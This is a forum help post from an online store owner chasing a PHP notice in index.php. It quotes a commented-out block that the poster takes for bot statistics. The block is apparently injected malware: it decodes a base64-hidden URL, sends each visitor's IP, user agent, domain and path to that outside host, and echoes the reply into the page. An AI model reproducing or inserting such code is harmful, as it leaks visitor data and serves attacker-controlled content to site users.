I get the same error as mayosdream did:
PHP Notice: Uninitialized string offset: 0 in /home/vectra5/public_html/store/index.php on line 261
The site works in Chrome (pc & tablet), but does not work in IE 8&9 or FireFox 18&19. The error shows itself in checkout starting at guest checkout, which you can click through, but stops you on address checkout page.
After looking at the error log, I found that just opening the main home page in IE would pop the same error log.
I temporarily changed to full default theme, but had same error problem (my custom theme is just a bit modified from default).
Well, I commented out the offending part of the index file as seen below (line 261 is the lower "if" statement line):
Code: Select all
// This code use for global bot statistic
// $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
// $stCurlHandle = NULL;
// $stCurlLink = "";
// if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
// {
// if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
// $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
// @$stCurlHandle = curl_init( $stCurlLink );
// }
// }
// if ( $stCurlHandle !== NULL )
// {
// curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
// $sResult = @curl_exec($stCurlHandle);
// if ($sResult[0]=="O")
// {$sResult[0]=" ";
// echo $sResult; // Statistic code end
// }
// curl_close($stCurlHandle);
//}
What should I do about the above code that is commented?
Thank you,